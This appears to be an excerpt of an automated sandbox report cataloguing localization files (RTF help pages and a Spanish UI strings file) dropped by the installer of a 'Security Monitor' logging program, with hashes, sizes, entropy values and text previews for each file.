Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	80841
Entropy (8bit):	4.938561816408635
Encrypted:	false
SSDEEP:	768:qqFy4Ix1ELz8lH0RvI9uMT98i3w2EH6mlH0RvI96M0+IOq4e4ewuwPkvEaUuuSD8:qqJC08J+nMVIA94
MD5:	22F333AB0A5F3E545899218EE216E751
SHA1:	50AB0BCFD2E86F7FD771C7CB18346AEACF834557
SHA-256:	5C6BC98349F242C511354DE1383E1F4C1D294118E300CF9DD5B0A8C937A17DD0
SHA-512:	2FD3FCFC64C9E870915CE1D8830E0F69031370DA502C4158D212F42FCAFF55BD0CBBFB915AD94A193BB7DEE8426167669FBD87C932BCE4D1591D2784744EFBB5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\norton_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	54989
Entropy (8bit):	5.004403089561587
Encrypted:	false
SSDEEP:	1536:2aqAse39REjyW0ywGa2eI9Cj+uFECVCjuizCaIizg8zku0+zkuQPChJsCGJ7CdJ+:2B/i+uFEwmuizbIizg8zku0+zkugsGLZ
MD5:	D8DFDDE0D2E5EE7768A3D91D9CD9D014
SHA1:	4C1B8C8205715F8858FA089D887D2A49DC89EC77
SHA-256:	E3409500600560293AC4C89EE3FFB02B854E9CE26926C9C592DB11979288C0BA
SHA-512:	161A64A5B4F8C877661DE001A5293831D351E5294AF76F66441B6DF13AAF5976506ADD1A17F0EAE5126B72F1096AE9A745F1042BD6F9D0AA880F24C726027DF9
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42635
Entropy (8bit):	5.046553170453071
Encrypted:	false
SSDEEP:	768:qqXqx1fDCcJJrNgVVhGPNhHwGNjm+epb/Vbc9DuUoU8Gmgflx6Z5zZ/6A9t:qq4e/DIA9t
MD5:	60B7129A13E0CE865F60703FC49D7E1D
SHA1:	96BDB21054BEE9F42FEF53360847FCE57AE3269B
SHA-256:	C68038C41212344C10D0194438D8BF503F3CAB8ED9AEA1B24E91EF989CC14923
SHA-512:	022BCBD14748D9C947F7B93EAC6D38D59F5BD39DFF22E62E16F1C5EC6FEF50BECA4AADE8CFBF745AF7055CEEB91F3DBB7D42117FADBE7149F627262E9654C66C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panos

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50749
Entropy (8bit):	5.025992337478631
Encrypted:	false
SSDEEP:	768:qqFywxd/cCcJ+Lj5g5V5V5h5G5P5N5hBcqtqYepnnbxa10C0O0N0e0x0b0o0g0sq:qq/MlIA9E
MD5:	4091E666BD6CCC6971AE0F510870DB42
SHA1:	E21753F9D29706ECCD6371C10A0CE598C80C64D1
SHA-256:	508DC3EFA99E34F0865225A43C9D2554169D4D9C9D1CE5C1CA4FEB41958DE1B5
SHA-512:	C8FCF769BA2F155F8BAF4A9BF3E5D93377191EE7C02BCF5ED9E8158C10BC82B1AB344B9788D1FE81A73C18B0E2E10F0DD69C2C2400216878FA34EEDAAA824709
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48100
Entropy (8bit):	5.025830167724142
Encrypted:	false
SSDEEP:	768:q4Fknx1eiCUYCmpNM2UrPGsGx7TYlDIUldgOQrrFrf7IPWj2sqiHTLb3ybVaGMbQ:q4giYIA9b
MD5:	89ED020D20DA91E6E1F6AF7A3A4C3ED8
SHA1:	B387B9E8EE99429E41090937A41D60564CA50A5A
SHA-256:	29857E5F65A83CB250D7374A4AAFBCC1159C4318942F5044C9C12534A1962B41
SHA-512:	1CBFA048F043D784062288EC39E5A89F74EF418CE6FBA1C2FFA32555B993C446CAC8ADB63B05D2E60FF3DB65735E55664C954D84AC4F21DDB94542BFE536F6BF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48379
Entropy (8bit):	4.996608771533116
Encrypted:	false
SSDEEP:	768:q4e94jXjOcPI0QhhiLV9xB3T7JileOhvbNbZWvsn53NB0DNZGky8OF5x1A58GaQg:q49OUnIIA9p
MD5:	B8EA7A3C55CE02A64BA0AF23B9B85E3E
SHA1:	8DFFB3874BBD2EA54BE1E6D87356126B1E73F290
SHA-256:	792111EFE4C09E3F68D0E2A5344ACC12D63B351BAE5F1654FCC36F2471ED7667
SHA-512:	A8A46F16EC9F8CE3670B171DD90F84F9D1F6CD15FC0428E3DB95ADB4AE302D0A82FF837A9C1DD32EAEEB7D8A58F942DB79461FB5BA36C869CBF4EA7210747007
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48785
Entropy (8bit):	5.035435060271824
Encrypted:	false
SSDEEP:	768:qqFy4a4jeDCcJ+Lj5g5V5V5h5G5P5N5hBcqtqYepnRbK3j10C0O0N0e0x0b0o0g4:qqJ9CxIA92
MD5:	DC2C7249084FEEBFE9F1E4FB3491C9EA
SHA1:	B1F39695D01244B8D85F9FE40D24B809759DB0FA
SHA-256:	D5EE096B03118AA2E7032A80EAD45F1C1D180889E5C0D9140F5C7D999698EFBD
SHA-512:	6B83FF30438154C6D58F7BA35FB6D01DA65D3B696340B522653DB3AEAD830DF67CEF61B1729197E24E8A160558418CBF639E5F31D6D2E990527C1920376FCE0B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42713
Entropy (8bit):	5.047774415882159
Encrypted:	false
SSDEEP:	768:qqXqx1fDCcJJrNgVVhGPNhHwGNjm+epbPybO9FO0I0cmG8/FRaZHIZ/6A95:qq4ePXIA95
MD5:	FC56B09D7F10AE95E575F472B2CE9AB8
SHA1:	806D290A16EE633A1D79B8D916FE00D508ECD51D
SHA-256:	75B89487ADE95BD0450DA43B8978AB7E37AD22CAA7DEDCB9D599EEA0EE0E8A04
SHA-512:	7B0948BCE8EE5AC36E7C91D3405F041973B6F9A6D316E64454E9E6A3B2A316CF65C03D1CE7041B9DD5FBEA3F94F175138735336D71CA927FB68D66D92413CC2C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panos

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44589
Entropy (8bit):	5.042107887527953
Encrypted:	false
SSDEEP:	768:qqXqx1fDCcJJrNgVVhGPNhHwGNjm+epnBBbq1FkSkek9kukBkrkSkP9MkSI6Ioum:qq4ABXIA9N
MD5:	A408ECED60101314102C175C7FE3E9D7
SHA1:	EBD937ECBFE7FDCC84DF27E7AEED4AC53FAA488A
SHA-256:	2649AAF142678E0D5B5DBEEC454E5D04DD191CE636F6EC5231A7A633C754252C
SHA-512:	B5E5B24DAF9BB0EC263E37AB11B1A66F50C3C4742F3EDB674AEF6FCA8B1F1C566D2F5CF59C9CA95779C9D055CC58B80770B9374EE605D110312F0C6E761E0BA0
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panos

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43030
Entropy (8bit):	5.037181036721856
Encrypted:	false
SSDEEP:	768:qqel4jeXCpMF2njX8x3JLjwUtqYepjRBcnjX8x3TRbyqfVHVU3icdXPIZnZ/6A9C:qq3pDIA9C
MD5:	67B098FD7DC727E81D9D9FB9A520E1CE
SHA1:	F6D0526FD0E5F10956988840D866DD2222ABF783
SHA-256:	C3AF56E516BBA805D97730CC1303C32539C72A4E93F598F599EE4DE1756AB0BF
SHA-512:	65718F4601D9636CE73B3B5D2E5EDC62B34DAE818C7450033BEC2221916E8AC81316D6EB3F3690186E3A505F82192A4C1EE34D12606690B3B266A2BEDE2F7DEA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	19915
Entropy (8bit):	4.91205436276521
Encrypted:	false
SSDEEP:	384:URE/HLpJKNLC8/c0vrhUhdpZ/i7fTfHV8Vpx+M26iYi/pVF8g2EM2luoEJroH:Ue4L5c0dffTfHV8Vpx126PGcIMoH
MD5:	86FB78830003953DE6F23C5978938899
SHA1:	CD181B6DD4049697DD2E824DCABB57D9B21CCE0A
SHA-256:	0E132271314F42D37505EA9844E8EE102B9A0FC65946852BE8150CD088BB8357
SHA-512:	8862242298848BF0096B63F5F0FDDC70C446239910DD16F7B5AB604414CB6D10DFB636A7BC7AD1D66F33B6D88DCC08EE95F0B0B04E686E74E68FFBF9EC70C47A
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart=" Empec."..tbStartHint="Habilite el registro"..tbStop="Det.ngase"..tbStopHint="Desactive el registro"..tbFind="Encuentre"..tbFindHint="Busque la informaci.n del registro"..tbSetting="Ajustes"..tbSettingHint="Ajustes del programa"..tbAbout="Acerca de"..tbAboutHint="Acerca de / informaci.n de registro"..tbHomePage="P.gina Principal"..tbHomePageHint="Ir a la P.gina Principal del programa"..tbToday="Hoy"..tbTodayHint="Ir al registro de hoy"..tbHide="Oculte"..tbHideHint="El modo invisible (ninguno icono en la bandeja del sistema)"..tbMinimize="Minimice"..tbMinimizeHint="Minimizar a la bandeja"..tbExit="Salir"..tbExitHint="Salir y parada del registro"..gbLog="Registro de eventos"..tCurrLogSize="Tama.o del registro (Mb)"..tCu

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	45050
Entropy (8bit):	5.040256574487364
Encrypted:	false
SSDEEP:	768:VkGN4JtHiBkyKWm+m2NjrOX/zJnKujtCUcFsWjeQ2CzLZ7RntKuG5QZ2y3OE50sq:VkNk4TF
MD5:	94F6C834BB72118F52C6E4AFA65342BF
SHA1:	5066CA137EA8AE0F1CFDB50D364C0A85BF31B98D
SHA-256:	E950C0B4282DDB4BBBCA54BB72CB789B117690E1EFA15D7BE6C59BE5D77A65EA
SHA-512:	80147E578792B71F77E06659978C233E4BE7AB1352B056DEC3BCA74A0E5F5A6386983B5935467BDDA4DDF34CD64304843903A85DAC3C813DCF49457810E670E2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37942
Entropy (8bit):	5.034259997396652
Encrypted:	false
SSDEEP:	768:VkGN4Jt0TaGC5X2kLuuXprzghApkH9bEJzKv3TFeq4T5:VkHwd4T5
MD5:	A4F051708B7CC7EC3B58CB0A01A56DAA
SHA1:	4C4D011C0EFC5497763698DD21BE21D61553EE51
SHA-256:	E5AC50A87DD55807C9FC5BDF12C6317581F50456A9D99EF92794F5C089748F6E
SHA-512:	EFEF770ED92BB6F5D76AB7613ADF47ADF264CBBBFB741D7514A9424D77055CA01DCD1462DAFA2A8CF9E9FAF36931F78865430FE62F30DC77A9F18E0A28C8EC37
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37309
Entropy (8bit):	5.035450399129397
Encrypted:	false
SSDEEP:	768:VkGN4JtOiBkyKWm+XcOl66fSndrdyzotzrcq4Ta:VkHHu4Ta
MD5:	C121D028E5250297A8B932011A8122F9
SHA1:	6E9E2CAE5D2200213EA2378E2F02E4237F0EA7F1
SHA-256:	8246FF97F5D8EA82D7D9C00EC53309DC207026DD6B406B7B77E873563AB424DF
SHA-512:	F93C9D589271DA049E037F0491E9B34CA1574113F488DDF302370BB1BC4CE55985A27A294B37A50100BEA4C9E209B5C6D8020843BD404B571B99E112E6F1CB3D
Malicious:	false
Reputation:	unknown
